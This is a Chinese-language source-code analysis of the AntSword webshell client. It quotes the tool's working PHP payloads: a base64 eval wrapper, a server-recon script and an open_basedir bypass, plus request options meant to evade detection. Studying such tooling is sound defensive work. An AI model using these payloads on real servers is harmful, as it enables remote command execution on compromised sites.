蚁剑源代码分析

https://github.com/AntSwordProject/antSword

/antData/  用户目录/modules/  蚁剑后端模块/node_modules/  安装的node模块/source/  核心模块    /base/   自定义的功能类    /core/  payload模板    /language/  语言模块    /modules/  显示模块    /ui/  UI模块    /app.entry.js  渲染程序入口    /load.entry.js  前端加载模块/static/  静态资源文件/views/    前端文件/antData/  用户目录

 "name": "antsword", "version": "2.1.14", "description": "中国蚁剑是一款跨平台的开源网站管理工具", "main": "app.js", "dependencies": {

注册静态资源创建主进程加载主页面`ant-views://front/index.html`初始化modules下的模块

// 初始化模块  [    'menubar',    'request',    'database',    'cache',    'update',    'plugStore'  ].map((_) => {    new(require(`./modules/${_}`))(electron, app, mainWindow);  });

 <link rel="stylesheet" href="ant-static://css/index.css" /> <script src="ant-src://load.entry.js"></script>

// 加载程序入口require('app.entry');//shellmanager模块初始化['shellmanager', 'settings', 'plugin'].map((_) => {  let _module = require(`./modules/${_}/`);  antSword['modules'][_] = new _module();});//具体过程  constructor() {    const tabbar = antSword['tabbar'];    tabbar.addTab('tab_shellmanager', '<i class="fa fa-th-large"></i>', null, null, true, false);    const cell = tabbar.cells('tab_shellmanager');    const layout = cell.attachLayout('3T');    // 初始化顶侧栏：工具栏 - 插件    this.toolbar = new Toolbar(layout.cells('a'), this);    // 初始化左侧栏：数据    this.list = new List(layout.cells('b'), this);    // 初始化右侧栏：目录    this.category = new Category(layout.cells('c'), this);
    this.searchPop = null;    this.searchForm = null;    this.initSearchUI();

const _data = Data.get(arg); //去请求数据，从本地数据库// console.log(_data)// 刷新UI::数据

  get: (arg = {}) => {    const ret = antSword['ipcRenderer'].sendSync('shell-find', arg);    // 解析数据    let data = [];    let category = {};    ret.map((_) => {

findShell(event, opts = {}) {    opts = this.convertOptstoNedbQuery(opts);    logger.debug('findShell', opts);    this      .cursor      .find(opts)      .sort({        utime: -1      })      .exec((err, ret) => {        event.returnValue = ret || [];      });}

 // 刷新UI::数据this  .list  .grid  .clearAll();this  .list  .grid  .parse({    'rows': _data['data']  }, 'json');// 刷新UI::分类for (let _ in _data['category']) {

// 监听事件grid.attachEvent('onRightClick', this._onRightClick);grid.attachEvent('onRowDblClicked', this._onRowDblClicked);
//主要看双击打开页面的效果。也就是_onRowDblClicked这个方法：_onRowDblClicked(id, event) {    const info = antSword['ipcRenderer'].sendSync('shell-findOne', id);    // console.info(info)    new FileManager(info);}

// console.log(antSword['core'][opts['type']]) //调用的类是哪个this.core = new antSword['core'][opts['type']](opts);    //实例化对应语言脚本的js,以php为例
this.core.request(    //发送请求信息    this.core.base.info()  ).then((ret) => {

module.exports = () => ({  info: {    _: `$D=dirname($_SERVER["SCRIPT_FILENAME"]);    if($D=="")      $D=dirname($_SERVER["PATH_TRANSLATED"]);    $R="{$D}t";    if(substr($D,0,1)!="/"){      foreach(range("C","Z")as $L)        if(is_dir("{$L}:"))$R.="{$L}:";    }else{      $R.="/";    }    $R.="t";    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";    $s=($u)?$u["name"]:@get_current_user();    $R.=php_uname();    $R.="t{$s}";    echo $R;`.replace(/ns+/g, '')  },

// 发送请求数据.send('request', {  url: this.__opts__['url'],  hash: hash,  data: opt['data'],  tag_s: opt['tag_s'],  tag_e: opt['tag_e'],  encode: this.__opts__['encode'],  ignoreHTTPS: (this.__opts__['otherConf'] || {})['ignore-https'] === 1,  useChunk: (this.__opts__['otherConf'] || {})['use-chunk'] === 1,  chunkStepMin: (this.__opts__['otherConf'] || {})['chunk-step-byte-min'] || 2,  chunkStepMax: (this.__opts__['otherConf'] || {})['chunk-step-byte-max'] || 3,  useMultipart: (this.__opts__['otherConf'] || {})['use-multipart'] === 1,  addMassData: (this.__opts__['otherConf'] || {})['add-MassData'] === 1,  randomPrefix: parseInt((this.__opts__['otherConf'] || {})['random-Prefix']),  useRandomVariable: (this.__opts__['otherConf'] || {})['use-random-variable'] === 1,  timeout: parseInt((this.__opts__['otherConf'] || {})['request-timeout']),  headers: (this.__opts__['httpConf'] || {})['headers'] || {},  body: (this.__opts__['httpConf'] || {})['body'] || {}});

onRequest(event, opts) {logger.debug('onRequest::opts', opts);if (opts['url'].match(CONF.urlblacklist)) {  return event    .sender    .send('request-error-' + opts['hash'], "Blacklist URL");}let _request = superagent.post(opts['url']);// 设置headers_request.set('User-Agent', USER_AGENT.getRandom());

.then((ret) => {   //初始化ui    this.initUI(ret['text']);    this.cell.progressOff();}).catch((err) => {...

//加密module.exports = (pwd, data, ext = null) => {  data["h"] = Buffer.from(data['_']).toString('base64');  data[pwd] = `@eval(@base64_decode($_POST['h']));`;  delete data['_'];  return data;}//解密module.exports = {  /**   * @returns {string} asenc 将返回数据base64编码   */  asoutput: () => {    return `function asenc($out){      return @base64_encode($out);    }    `.replace(/ns+/g, '');  },  /**   * 解码 Buffer   * @param {Buffer} buff 要被解码的 Buffer   * @returns {Buffer} 解码后的 Buffer   */  decode_buff: (buff) => {    return Buffer.from(buff.toString(), 'base64');  }}

request(code, chunkCallBack) {    const opt = this.complete(code);  //完成加密请求体和密码

//获取解密函数里面的输出方法体if (!force_default) {  asencCode =this.__decoder__[this.__opts__['decoder'] || 'default'].asoutput(ext);} else {  asencCode =this.__decoder__['default'].asoutput(ext);}
//组装payloaddata['_'] = `@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$oparr=preg_split("/\\\\|\//",$opdir);$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$tmdir=".${opdir}";@mkdir($tmdir);@chdir($tmdir);@ini_set("open_basedir","..");for($i=0;$i<sizeof($oparr);$i++){@chdir("..");}@ini_set("open_basedir","/");@rmdir($ocwd."/".$tmdir);};${asencCode};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "${tag_s.substr(0,tag_s.length/2)}"."${tag_s.substr(tag_s.length/2)}";echo @asenc($output);echo "${tag_e.substr(0,tag_e.length/2)}"."${tag_e.substr(tag_e.length/2)}";}ob_start();try{${tmpCode};}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();`;
//具体的加密过程return this.encodeComplete(tag_s, tag_e, data);

antSword['ipcRenderer']// 请求完毕返回数据{text,buff}.once(`request-${hash}`, (event, ret) => {  let buff = this.__decoder__[this.__opts__['decoder'] || 'default'].decode_buff(ret['buff'], ext);  let encoding = antSword.Decodes.detectEncoding(buff, {defaultEncoding: "unknown"});  encoding = encoding != "unknown" ? encoding : this.__opts__['encode'];  // let text = antSword.Decodes.decode(buff, "utf-8");  // 解密过程  let text = buff = this.__decoder__[this.__opts__['decoder'] || 'default'].decode_buff(ret['text'], ext);  return res({    'encoding': encoding || "",    'text': antSword.noxss(text, false),    'buff': Buffer.from(antSword.noxss(buff.toString(), false))  });})